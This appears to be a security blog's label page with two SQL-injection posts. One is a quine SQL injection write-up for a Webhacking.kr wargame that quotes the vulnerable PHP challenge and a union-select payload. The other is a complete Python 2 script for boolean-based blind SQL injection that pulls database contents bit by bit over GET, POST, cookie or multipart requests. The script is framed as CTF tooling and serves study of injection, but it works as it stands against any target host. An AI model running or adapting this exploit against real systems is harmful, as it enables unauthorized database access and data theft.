Showing posts with label sql injection. Show all posts
Showing posts with label sql injection. Show all posts

Friday, 23 July 2021

Quine sql Injection

What is Quine? let's refer to Wiki.

A quine is a computer program which takes no input and produces a copy of its own source code as its only output. The standard terms for these programs in the computability theory and computer science literature are self-replicating programs,self-reproducing programs, and self-copying programs

There is good example wargame problem which is ouroboros golf of Webhacking.kr.

Below is the problem code:
<?php
  include "../../config.php";
  login_chk();
  print_best_golfer(73);
  $db = dbconnect("ouroboros");
  if(preg_match("/\./i", $_GET['pw'])) exit("No Hack ~_~");
  $query = "select pw from prob_ouroboros where pw='{$_GET['pw']}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['pw']) echo "<h2>Pw : {$result['pw']}</h2>";
  if(($result['pw']) && ($result['pw'] === $_GET['pw'])){
    // !!THIS IS PAYLOAD GOLF CHALLENGE!!
    // My solution of ouroboros golf is 210byte.
    // If your solution is shorter than mine, you will get 5 point per 1 byte.
    $len = 210 - strlen($_GET['pw']);
    if($len > 0){
      solve(73,$len * 5);
    }
    else{
      echo "<h2>nice try :)</h2>";
    }
  }
  highlight_file(__FILE__);
?>

I should inject a SQL query, it will be $_GET['pw']. and the SQL query will run to DB, and return the result as per the code $result['pw'].

Next, the $reuslt['pw'] should be exist and same as my input. ($result['pw'] === $_GET['pw']).

Last, the payload should be less than 210 lengths.

Now, it sounds like time to make a Quine Generator for SQL. We can use replacement mothod, indirect ($) replacement method and union select.

We can pseudocode the simple replacement as follow:
'union+select+replace(replace('"union+select+replace(replace("$",char(34),char(39)),char(36),"$")as+a%23',char(34),char(39)),char(36),'"union+select+replace(replace("$",char(34),char(39)),char(36)"$")as+a%23')as+a%23

It makes same $result['pw'] and $_GET['pw']. You could reduce the length. For your Quine practice, I don't put a correct answer here.

END

Thursday, 4 July 2013

Bool-based Blind SQL Injection python.

I made bool-based blind sql injection.

Sometimes I need blind sql injection codes for a CTF.

I will add more functions.

  
 import sys  
 import re  
 import urllib  
 import urllib2  
 import inspect  
 #import base64  
 #import mimetypes  
 #import pprint  
   
 def set_globalvar():  
   global type_attack  
   global host  
   global findout  
   global n  
   global query  
   global sqli_start  
   global sqli_end  
   global url  
   global parameter  
   #query = "SELECT 1"  
   query = "SELECT GROUP_CONCAT(TABLE_NAME) FROM information_schema.columns"  
   n=8  
   host="http://127.0.0.1"  
   url="/sqli.php"  
   parameter="a"  
   findout="Sample"  
   session=""  
   type_attack="GET"  
   #type_attack = "POST"  
   #type_attack = "COOKIE"  
   #type_attack = "MULTIPART"  
   sqli_start="1 AND "  
   sqli_end="--"  
   
 def set_error():  
   print("It is an error MSG from function: %s" % (inspect.stack()[1][3]))  
   return 0  
   
 def printr(data):  
   for x in data:  
     sys.stdout.write(x)  
     sys.stdout.flush()  
   print("")  
   print("")  
   print("[*] Exploit Complete!")  
   
 def set_send(params):  
   params = "IF(1=1,%s,0)" % (params)  
   finalquery=sqli_start+params+sqli_end  
   encoding_finalquery = urllib2.quote(finalquery)  
   if(type_attack=="GET"):  
     action = urllib2.build_opener()  
     #action.addheaders.append(('Cookie', 'SESSION=%s' %(session)))  
     #resp = urllib2.urlopen(host+url+"?"+parameter+"="+encoding_finalquery)  
     resp = action.open(host+url+"?"+parameter+"="+encoding_finalquery)  
   elif(type_attack=="POST"):  
     values = {parameter : finalquery}  
     cookie = urllib.urlencode(values)  
     resp = urllib2.urlopen(host+url, cookie)  
   elif(type_attack=="COOKIE"):  
     action = urllib2.build_opener()  
     action.addheaders.append(('Cookie', '%s=%s' % (parameter, encoding_finalquery)))  
     resp = action.open(host+url)  
   elif(type_attack=="MULTIPART"):  
     filename = "test.php"  
     CRLF = '\r\n'  
     boundary = '----WebKitFormBoundaryL4f8jRRQx76T6nV9'  
     parts = []  
       
     parts.append('--' + boundary)  
     parts.append('Content-Disposition: form-data; name="%s"' % (parameter))  
     parts.append('')  
     parts.append(finalquery)  
       
     parts.append('--' + boundary)  
     parts.append('Content-Disposition: form-data; name="pwd"; filename="%s"' % (filename))  
     parts.append('Content-Type: application/octet-stream')  
     parts.append('')  
     parts.append('1234')  
     parts.append('--' + boundary + '--')  
     parts.append('')  
     body= CRLF.join(parts)      
     headers = {'content-type' : 'multipart/form-data; boundary=%s' % (boundary)}  
     req = urllib2.Request(host+url, body, headers)  
     resp = urllib2.urlopen(req)  
       
   data = "\n".join([resp.info().get(i) for i in resp.info()])  
   data += "\n" + "".join([repr(x) for x in resp])  
     
   return data  
   
   
 def set_getbit(data):  
   try:  
     bit = re.findall(findout, data)  
     if findout in bit: return '1'  
     else: return '0'  
   except IndexError: raise RuntimeError  
   except TypeError: raise RuntimeError  
   
 def set_getvalue(val, n=8):  
   byte=""  
   for bit in range(n-1, -1, -1):  
     tmp = set_getbit(set_send("(%s>>%d&1)" % (val, bit)))  
     byte += tmp  
   return int(byte, 2)  
   
 def set_getlength(content):  
   return set_getvalue("LENGTH(%s)" % content, 32)  
   
 def set_getstring(content):  
   length = set_getlength(content)  
   print(" [-] Lengh: %s" % length)  
   print(" [-] Result")  
   for i in xrange(length+1):  
     yield chr(set_getvalue("ASCII(MID((%s),%d,1))" % (content, i)))  
   
 def get_sqlexploit(query):  
   print(" [-] Method: %s" % (type_attack))  
   if not ((type_attack is "GET") or (type_attack is "POST") or (type_attack is "COOKIE") or (type_attack is "MULTIPART")):  
     print("Please check type of the attack")  
     set_error()  
   else:  
     '''  
     MySQL If Statement  
       IF(condition,true-part,false-part) (M)   
       SELECT IF(1=1,'true','false')  
   
     SQL Server If Statement  
       IF condition true-part ELSE false-part (S)   
       IF (1=1) SELECT 'true' ELSE SELECT 'false'  
     '''  
     try:  
       for i in set_getstring("(%s)" %(query)): yield i  
     except RuntimeError:  
       yield "SQL error."  
       raise StopIteration  
       
 def main():  
   set_globalvar()  
   print(" - A Bool-based SQL Injection Vulnerability Exploit")  
   print("")  
   print(" Author: Kerz")  
   print(" Date: 05/07/2013")  
   print("")  
   print("[*] Target: %s" % host+url)  
   print("[+] Injection")    
   printr(get_sqlexploit(query))  
     
 if __name__ == '__main__':  
   main()  
       
   

Reference: www.exploit-db.com/download_pdf/12967/